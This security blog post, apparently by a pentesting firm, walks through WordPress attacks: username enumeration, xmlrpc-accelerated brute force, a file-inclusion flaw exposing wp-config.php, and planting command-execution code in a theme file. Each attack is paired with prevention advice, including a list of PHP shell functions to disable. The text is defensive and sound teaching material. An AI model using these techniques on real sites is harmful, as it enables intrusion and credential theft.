How WordPress Sites Get Hacked And Fixes to Prevent it

WordPress sites get hacked on a regular basis, as it is by far the most popular software for creating websites and blogs. This popularity, in combination with the nature of its customizable architecture, makes it a prized target for attackers. Its default configuration contains several insecurities, while security vulnerabilities are regularly discovered in user-developed plugins and themes, as well as the WordPress “core” itself.

Instead of simply providing a list of tips on how to secure WordPress, this post will show real-world examples of how hackers (and pentesters like us here at Vumetric) exploit these weaknesses to compromise WordPress sites – and how to prevent such attacks.

Attack #1: Brute-forcing the login

This one is the most obvious. By default, the WordPress login page is accessible to the entire internet, is easy to find (simply go to /wp-login.php), and doesn’t have brute-force mitigations such as a CAPTCHA or rate limiting. This makes it a prime target for hackers and bots:

Increasing the odds: user enumeration

There are several ways attackers increase their likelihood of breaking into WordPress via brute-force, the first being user enumeration through any of the following methods:

1. Finding valid usernames by looking at post and comment authors.
2. Use of trial-and-error on the login page while checking error messages (is there an error stating that the user doesn’t exist, or that the provided password is invalid?)
3. Using the WordPress JSON API endpoint “/wp-json/wp/v2/users” to obtain a list of valid user information.
4. Scraping usernames from built-in endpoints and features such as RSS feeds.
5. Tools that automate the above (such as WPScan).

With this knowledge, hackers can target only legitimate user accounts which makes their attack both faster and more likely to succeed. Here’s an example of using the users API to gather information for an attack:

Above we see that “bjoel” is a valid username for the site. Sometimes this endpoint will also include email addresses which a clever attacker could check against known data breaches to perform credential stuffing or phishing attacks with. If that fails, a more robust brute-force attack can be launched.

Increasing the odds: accelerating the attack

This brings us to the second way hackers increase their odds of success: the xmlrpc.php file.

In brief, xmlrpc is a precursor to the WordPress API which allows remote interaction with WordPress via XML-formatted requests. One feature of xmlrpc is that multiple operations can be performed in a single request for the sake of efficiency. However, this means that an attacker can submit multiple login attempts in a single request, drastically speeding up their attack.

Let’s compare two brute-force attacks, the first using the traditional method of one attempt per request via the login form:

Using a fairly aggressive setting of 10 threads, it’s possible to try approximately 1500 passwords in two minutes. Now let’s compare against an attack accelerated using xmlrpc to submit multiple authentication attempts in each request:

When available, xmlrpc.php’s multicall support allows the same brute-force attack to complete in seven seconds instead of two minutes. This is because it’s submitting 500 login attempts in each request. This type of performance gain creates an optimized brute-force attack that’s more likely to succeed than a traditional attack given the same timeframe.

Prevention

Preventing user enumeration is difficult in WordPress, but the following steps help:

• Set a display name (AKA nickname) that is separate from your username. This will show up in locations like posts and comments without revealing the username you use to log into WordPress.
• Restrict access to the WordPress JSON API, specifically the “/wp-json/wp/v2/users” endpoint*.
• Get rid of the default “admin” user in lieu of your own named account.

From there, brute-force attacks can be mitigated by doing the following:

• Restrict access to xmlrpc.php*.
• Enable two-factor authentication.
• Restrict access to the login page to a limited set of IP addresses.

In addition, there are several security-focused plugins for WordPress that also perform some of the above while adding additional brute-force protections (more on this later).

*Please note: These features may be needed for certain plugins and integrations to work; however, generally speaking, they aren’t needed for basic sites. There are several ways access can be restricted – the simplest being a .htaccess deny rule – however other options exist to limit access to authenticated users or other specific conditions. We recommend you research what’s best suited for your use case.

Attack #2: Exploiting vulnerable code

If a hacker is unable to find legitimate credentials to log into your site, they can look to exploit vulnerabilities that exist in the plugins, themes, or core of WordPress. Due to the double-edged sword of both its popularity and ease of customization, the WordPress ecosystem has historically been one of the most targeted and exploited, with over 1,250 entries present on ExploitDB at the time of writing.

Let’s take a look at how one of these exploits can be used by hackers.

Example exploit: Mail Masta Plugin

The WordPress “Mail Masta” plugin version 1.0 is vulnerable to Local File Inclusion (LFI). An LFI allows an attacker to read arbitrary files on the vulnerable host, including things like the WordPress configuration file by using a simple web request:

Using this vulnerability, we see the database username and password for the associated WordPress instance. This information could be used to directly log into the WordPress admin panel (if “elyana” reuses her password). It could also be used to access the database directly or with something like phpMyAdmin in order to add a new admin user or crack/change the password of existing users.

Preventing the attack

Prevention is pretty straightforward:

• Regularly update your WordPress installation (core, plugins, and themes). Setting up a repeating calendar event as a reminder can help stop this from slipping through the cracks.
• Minimize your use of 3rd-party code where possible, ie. themes and plugins.
• Only use 3rd-party code from trusted sources and well-maintained, active projects.
• Perform code review for any customizations made to your site.
• Subscribe to a email list that provides important security notices.

Attack #3: Compromising the system

Now that our attacker has either brute-forced or exploited their way into your WordPress admin panel, it’s time for them to compromise the underlying system through command execution. There are 3 primary ways this can be done:

1. Upload a malicious plugin.
2. Edit a PHP file (like one that’s part of a theme).
3. Find a way to upload a malicious PHP file.

As an example, we’ll focus on #2 since it’s one of the easiest. Simply navigate to Appearance -> Editor and edit the active theme’s 404.php file:

Now we add some PHP code to obtain command execution:

Then we can execute the “whoami” and “ifconfig” commands on the server by navigating to a non-existent URL and supplying a “cmd” argument:

From this point, it becomes trivial to compromise the database (by reading the username and password from wp-config.php), gain an interactive shell on the underlying system, and launch additional attacks. If your instance of WordPress is attached to your company network, it can then act as a foothold to compromise additional systems.

The other methods essentially accomplish the same type of compromise by different means.

Prevention

If an attacker has gotten this far, it’s generally already too late. There are mitigations that can include changing permissions and config settings to prevent file writing and disabling plugin support, but this is fairly impractical in most cases if you want your WordPress instance to remain usable.

One thing that may be worth doing is disabling dangerous functions via the php.ini file, such as:

• exec
• passthru
• shell_exec
• system
• proc_open
• popen
• curl_exec
• curl_multi_exec
• parse_ini_file
• show_source

However, this may not be possible in shared hosting environments and still may end up interfering with some legitimate plugins and integrations.

More tips for securing WordPress from hackers

In addition to what’s been discussed, you can help secure your WordPress instance by doing the following:

• Ensure directory indexing is disabled. This is typically done in the webserver configuration and can be quickly checked by going to “/wp-content/uploads/” in your browser to see if you get a listing of uploaded files.
• Be careful of leaving file backups in the webroot. Readable backups of .php files or database dumps can lead to a compromise through information disclosure.
• Take routine backups and store them off-server in case of a compromise.
• Use a Web Application Firewall (WAF) to thwart attacks. This can be through a provider like CloudFlare, but the WordPress plugin Wordfence is specifically designed to help harden your system.
• Register for a free API key for WPscan and use it to scan your site for vulnerabilities and misconfigurations with the following command: wpscan -e vp,vt,cb,dbe,u,m –api-token YOUR_API_KEY –url http://YOUR_WORDPRESS_SITE

Summarizing how WordPress sites get hacked

Let’s recap:

1. User enumeration plus brute-force attacks can give hackers access to your WordPress admin panel.
2. Vulnerable and outdated code can let hackers compromise your WordPress instance even without valid credentials or the ability to log in.
3. A hacked WordPress instance can lead to the compromise of the underlying system and additional threats.

Take the necessary steps to protect yourself from these risks by using the information covered in this post. If you want to ensure your WordPress site or other IT infrastructure is secure, reach out to one of our certified specialists to get an expert’s opinion.